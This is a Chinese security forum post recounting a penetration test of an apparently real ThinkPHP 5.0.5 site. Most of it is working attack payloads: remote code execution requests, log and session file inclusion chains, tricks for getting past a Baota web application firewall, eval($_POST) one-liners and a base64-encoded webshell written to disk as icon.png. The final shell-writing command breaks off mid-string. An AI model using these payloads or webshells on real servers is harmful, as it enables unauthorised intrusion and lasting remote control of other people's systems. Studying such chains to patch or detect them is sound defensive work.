安全矩阵

 找回密码
 立即注册
搜索
查看: 1614|回复: 0

记一次TP测试

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-7-7 10:04:10 | 显示全部楼层 |阅读模式
记一次TP测试
一、简单的信息收集
尝试路径报错,获取目标版本和配置信息。
  1. <code class="hljs">https://example.com/admin/indeeex/login.html</code>
复制代码



版本为5.0.5,开启debug。
编辑

直接执行payload,宝塔拦截
  1. <code class="hljs">/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()</code>
复制代码


编辑

尝试post执行paylaod
  1. <code class="hljs">_method=__construct&method=get&filter=call_user_func&get[]=phpinfo</code>
复制代码



成功执行,php5的assert默认存在代码执行,php7默认不存在。
编辑

禁用函数
  1. <code class="hljs">passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv</code>
复制代码



不能直接执行命令,尝试日志包含和session包含拿shell。

二、日志包含尝试寻找日志路径配合之前路径报错获取的根路径。
  1. <code class="hljs">https://example.com/runtime/log/202111/17.log</code>
复制代码



对日志进行包含
  1. <code class="hljs">_method=__construct&method=get&filter=think\__include_file&get[]=/www/wwwroot/taizi/runtime/log/202110/28.log</code>
复制代码


编辑

简单看一下访问记录是否能够写入日志,访问
  1. <code class="hljs">https://example.com/phpinfo</code>
复制代码



可以正常写入
编辑

但是在写入函数的时候被拦截
  1. https://example.com/phpinfo()
复制代码


编辑

正常payload这被拦截
  1. <code class="hljs">_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?></code>
复制代码



三、session包含
  1. <code class="hljs">_method=__construct&filter[]=think\Session::set&method=get&get[]=eeee&server[]=1</code>
复制代码



修改一下phpsessionid为1111,进行session包含,可以看到正常写入。
  1. <code class="hljs">_method=__construct&method=get&filter=think\__include_file&get[]=/tmp/sess_1111</code>
复制代码


编辑

但是如果直接写入shell的话会被拦截
编辑

所以这里尝试对payload进行加密处理,使用以下payload
  1. <code class="hljs">_method=__construct&method=get&filter=think\Session::set&get[]=<?PHP $str="PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpmdW5jdGlvbiBlbmNvZGUoJEQsJEspewogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7CiAgICAgICAgJGMgPSAkS1skaSsxJjE1XTsKICAgICAgICAkRFskaV0gPSAkRFskaV1eJGM7CiAgICB9CiAgICByZXR1cm4gJEQ7Cn0KJHBheWxvYWROYW1lPSdwYXlsb2FkJzsKJGtleT0nM2M2ZTBiOGE5YzE1MjI0YSc7CiRkYXRhPWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwppZiAoJGRhdGEhPT1mYWxzZSl7CiAgICAkZGF0YT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0pKXsKICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7CgkJZXZhbCgkcGF5bG9hZCk7CiAgICAgICAgZWNobyBlbmNvZGUoQHJ1bigkZGF0YSksJGtleSk7CiAgICB9ZWxzZXsKICAgICAgICBpZiAoc3RyaXBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2UpewogICAgICAgICAgICAkX1NFU1NJT05bJHBheWxvYWROYW1lXT1lbmNvZGUoJGRhdGEsJGtleSk7CiAgICAgICAgfQogICAgfQp9";file_put_contents('/www/wwwroot/taizi/icon.png',base64_decode("$str"));;</code>
复制代码



未被拦截,但是在包含的时候出问题了,试了好多次,大概的原因就是<和"两个符号会导致解析的时候出问题。
编辑

尝试对所有payload加密使用伪协议读取内容,但是在使用伪协议对时候又被拦截。
编辑

这时候可以尝试使用函数,将伪协议反序。
  1. <code class="hljs">_method=__construct&filter[]=think\Session::set&method=get&get[]=aaPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYWJjJ10pKTs/Pg&server[]=1</code>
复制代码



成功执行。
编辑

最后要写shell的话直接将shell加密,再将代码加密即可写入。
  1. file_put_contents('/www/wwwroot/test123.php',base64_decode("PD9waHAgcGhwa
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 20:33 , Processed in 0.016364 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表